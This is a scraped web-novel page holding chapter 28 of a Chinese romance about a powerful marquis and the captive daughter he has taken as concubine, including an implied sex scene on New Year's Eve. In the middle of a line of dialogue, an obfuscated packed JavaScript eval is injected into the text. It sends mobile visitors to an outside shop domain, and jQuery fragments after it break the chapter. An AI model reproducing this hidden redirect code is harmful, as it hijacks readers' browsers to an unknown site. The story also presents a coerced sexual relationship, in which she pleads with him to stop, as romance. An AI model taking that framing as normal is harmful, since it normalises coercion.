文趣网 > 其他小说 > 被疯批权臣强占为妾后 > 28. 第 28 章
    沈芙雪眼前雾蒙蒙,腰身随着强劲有力的臂膀缓缓倒下。

    她坐在绒毯里,后背紧紧贴着炽热胸膛。

    若这几个月的一切,都是她喝醉后的大梦一场,那该有多好。

    许久,沈芙雪眸底浮现一丝清明,她缓缓仰头,看见裴沅直刀削斧刻般的侧颜。

    “侯爷?”她从纷乱思绪中勉强找回些许理智,伸出手,仍旧有些不可置信道:“侯爷怎么回来了?”

    “醉了?”裴沅直俯首,主动贴上纤纤玉指。

    他轻吻她指尖,嗓音低沉:“思念本侯,借酒浇愁?”

    沈芙雪指尖发麻,她忙缩回手,滚烫的吻循着指尖来到她眉心、琼鼻、在榴唇上迟迟不肯落下。热息打在脸上,极具侵略感的松雪香萦绕她周身,沈芙雪对上那双乌黑深沉的眼睛,这才相信面前的是真人。

    可他不是应该彻夜留在南园吗?为何会回来?

    沈芙雪还没来得及问出口,下一瞬,唇间落下一吻,腰间腾空,被拦腰抱起。

    裴沅直小心翼翼抱着她,沈芙雪醉意上涌,乖巧靠在他胸膛,静静地听心跳声。

    裴沅直抱着人倚靠在床边,沈芙雪玲珑有致的身材正紧紧贴着他,乌发逶迤,眼尾一抹薄红,鸦睫随着呼吸轻颤,呼吸间满是芙蓉女儿香,他光是这么搂着人,魂都快被勾了去。

    此刻,他不禁心下懊悔,除夕夜,自己怎能把她独自留在东园呢?他早该回来的,哦不,或许,他今日都不该去宫中。

    “你瞧,这是什么。”裴沅直从怀中掏出信件,在沈芙雪面前晃了晃。

    沈芙雪心情低沉,瞥了眼他手里信件,在看见信封上‘芙雪亲启’这几个熟悉字眼后,顿时眼里泛光:“是父亲写的信!”

    方才恹恹的小人儿顿时变得神采奕奕,立马接过信件拆开。

    裴沅直微微一笑,他出宫后特地快马加鞭去了趟大理寺监牢,今日是团圆夜,不用想都知道,方才的沈芙雪为何面露愁容。

    沈芙雪窝在裴沅直怀里,二人借着屋内暖光看信。

    洋洋洒洒十页纸,满是父亲和哥哥对她的挂念。

    沈芙雪在裴沅直解禁后写过一封信给父亲,信里略述自己已经成了裴沅直侍妾,目前正接手管家事宜,在外一切都好。

    她没想到,父亲他们还会给她回信。

    沈放极有耐心,从她幼时在襁褓中写起,粉雕玉琢的孩子呱呱坠地,数十年被家中捧在手心里长大成人。

    句句未写思念,字里行间却溢满思念疼惜之意。

    虽说她如今处境比待在教坊司好上千万倍,但真的知晓她为人妾室的那一刻,沈放心中依旧好似被人硬生生剜下一块血肉。

    沈芙雪看完信件,将信纸折好放进信封,今夜原本因思念亲人生出的愁绪顿时烟消云散,她轻抚胸口,觉得心间被爱意包裹,暖融融的。

    “陛下说沈氏出发岭南的时间定在年后,我猜最迟二月,你别担心,他们很快便能重见天日。”

    裴沅直勾起她一缕发丝轻嗅。

    “多谢侯爷。”沈芙雪仰头,眸子里亮晶晶。

    裴沅直微微一笑:“开心?”

    沈芙雪颔首。

    “开心了,准备怎么谢本侯?”他胳膊环上杨柳细腰,轻吻她鬓边,眸光晦暗。

    两人相处多日,沈芙雪每每对上他准备将自己吃干抹净的眼神时,心总是会跳漏一拍。

    他想要什么,她再清楚不过。

    可……外面嬉笑打闹声不断,随时都可能有人闯进。

    “只亲一亲可以吗?”沈芙雪头一次主动揽上他颈间,半是商量,半是祈求,顶着一双水灵灵的眸子,柔声细语:“这个谢礼可以吗,侯爷?”

    裴沅直一时怔然,奇怪,他今夜在宫里喝的屠苏酒肯定被人换成了烧刀子,要不他怎么现在酒劲上来了,光是看着眼前一张一合的红唇,脑子迷迷糊糊,身子不听使唤。

    不过这酒劲来得快去得也快,在沈芙雪缓缓在他面颊印上一吻时,裴沅直立即不满道:

    “沈芙雪,竟敢敷衍本侯?”

    沈芙雪心中咯噔一声,她方才确实说亲一亲便好,没说具体吻哪里……可他不是也没要求她吗……

    裴沅直脸色青白交错,沈芙雪抿了抿唇,正不知如何收场,下一瞬,裴沅直掰过她白皙脖颈,铺天盖地的吻将她淹没。

    沈芙雪手脚发软,口中气息被他侵占,呼吸间都是松雪香。

    得以呼吸的间隙,裴沅直难以忍耐,凭着本能去拉扯她腰间系带,沈芙雪猛然回神,握住他的手:“侯爷,今夜不可!其木川他们还在外面呢!”

    裴沅直满是情欲眸子直勾勾盯着沈芙雪,喉结滚动。

    不过,好在他理智尚存。

    他翻过身,躺在沈芙雪背后,胸膛起伏,平复沉重呼吸。

    此地不宜久留,沈芙雪起身要走,转眼又被他箍进怀里。

    “侯爷…”沈芙雪声如蚊呐,身子紧绷。

    “我不碰你。”裴沅直侧过身搂着她,埋在她颈间深深呼吸:“让我抱一抱就好。”

    身后某处骇人,沈芙雪不敢动,担忧道:“那侯爷说话算话,只抱一抱,不做别的。”

    裴沅直轻嗯一声:“不做别的。”

    可没多久。

    他说:“抱一抱。”

    他说:“再亲一亲。”

    他说:“烛火刺眼。”

    他说:“好热……”

    紧接着……

    青色罗帐缓缓落下……

    沈芙雪又悟出了一个道理,裴沅直在床上总是说话不算话的,二人在床榻上,她总是吃一堑吃一堑…再吃一堑……

    屋子里芙蓉帐暖,屋子外满院肉香。

    京中年节与西凉大不相同,其木川与众人玩得开心,又去小厨房搬来两头羊烤肉吃。

    肉香四溢,众人大快朵颐,其木川忽然想起方才侯爷回府,他回过头一看,江安站在门口,房门不知何时被关起。

    他仔细琢磨,想着侯爷好像进去许久了。

    其木川端着盘羊腿肉走到廊下,举到江安面前:“尝尝。”

    江安接过盘子,尝了一口,赞不绝口:“味道不错。”

    其木川笑道:“那当然。”说罢,抬腿便要踏进房间。

    吱呀一声,房门开了条缝。

    “侯爷!你和沈姑娘要不要吃点烤羊肉啊,我刚烤好的,热乎着呢——诶!江安你拽我干什么!”

    房门开了一瞬后又被重重关上,江安将羊肉塞回其木川手里,咬牙低声道:“你疯啦!”

    其木川歪着脑袋不明白,江安轻咳了两声,正经解释道:“沈姑娘思念家人,侯爷正陪着她看家书呢,你别捣乱,院子里还有一堆烟花呢,去玩吧。”

    “什么家书看这么久?我最怕看家书了,每次阿爹都只顾着训斥我。”

    其木川凑到前面雕窗下,透过薄薄一层窗纸往里看,嘀咕道:

    “啧啧啧,家书哪有羊肉香?家书哪有烟花好看?你们燕国除夕要守夜一整晚,不吃点东西怎么熬

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938303|213778||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    得过去呢?他们不饿吗?”

    他方才开门时朝里看了眼,内心更加疑惑,看家书要放下罗帐吗?

    罗帐放下了岂不是挡了光?

    挡了光还怎么看家书?

    他透过罗帐,隐约看见沈芙雪靠在侯爷怀里。

    莫非沈芙雪被家书里长辈的训话骂哭了?侯爷现在在哄人?

    其木川满脑疑惑,想再进去看一眼。

    江安朝林识招了招手,林识万般无奈走过来,几人在廊下絮絮叨叨。

    外面的人不知道,里面的沈芙雪确实是快哭了。

    她紧紧攥着裴沅直的胳膊,紧绷着,压抑着,不敢发出一丝声音。

    “抖什么?”裴沅直轻抿她耳垂。

    沈芙雪压下喉间呜咽,头皮阵阵发麻:“侯爷,别这样,芙雪求您……”

    此刻,门外声音在她耳中放大千百倍,脚步声、说话声,朝雕窗走来的影子,还有身后细微喘息、无法阻挡的滚烫,每一样都让她胆战心惊,她心跳怦然,紧张得快要晕眩,她快疯了!

    两人衣袍平整,任谁来看都是隔了几层衣衫,并无异样,除了某处正紧紧……层层叠叠的粉白衫裙露出床帏,逶迤在榻边如雪浪般轻悠悠地晃。

    “算了,”其木川转过身:“我是惦记着侯爷的压岁钱呢,沈姑娘都给了,侯爷可不能少。”说完,大步离开。

    屋里的人终于松了口气。

    子正一刻,众人纷纷进屋道贺新年。

    众人都以为沈芙雪思念亲人,暗地里哭了一场,并未察觉异样。下人们领了赏封,欢天喜地地退下了,只剩江安几人还留在院子里。

    后半夜飘起了雪粒子,沈芙雪盖着狐绒毯子坐在美人榻上,靠在裴沅直怀里。她鬓角些许濡湿,粉白面颊上红晕未完全褪去,眼睛湿漉漉的,有气无力地抱着宝狸看窗外雪景。

    裴沅直喂她喝了盏热茶。

    “沈芙雪,”见她小口小口啜饮,裴沅直凑近疑惑道:“卖力的人是本侯,但为什么每次累得要死要活的人是你?”

    沈芙雪闻言,耳尖泛红。

    她也很想知道这是为什么……

    每次事后,裴沅直精神焕发,而她,总像是丢了半条命似的,不晕过去已经算很不错了。

    裴沅直见她又羞又怯,忍住没继续逗她。

    其木川走进房间,好奇地凑过来,视线在两人脸上扫来扫去。

    沈芙雪垂下眼帘,脸更红了。

    “其木川。”裴沅直忽然发问:“你怀里鼓鼓囊囊是什么?”

    其木川收回视线,连忙捂着胸口,连连后退:“没什么没什么。”他怀里可是沈芙雪帮他给心上人乌日雅绣的荷包还有手绢,他给了一个金元宝呢,可不能被侯爷发现。

    裴沅直看着满脸谨慎的其木川,垂眸问道:“方才听其木川说,你还给了他们压岁钱?”

    “我给他们每人绣了一枚福包,里面放了一两银子压一压,图个吉利。”

    裴沅直沉吟片刻:“沈芙雪,你哪儿来的银两?”

    沈芙雪支支吾吾:“嗯……我在账上提前支了自己的月例银子……”其木川方才给了她不少银两,明日她就能将这笔帐补上。

    “每人都有?”

    “嗯,都有。”

    “你表哥也有?”

    “……有的。”

    沈芙雪回答后再没说话,屋子里静悄悄的。

    半晌,裴沅直抬起她下颌,俯身在她唇间咬了一口,埋怨道:

    “本侯的呢?”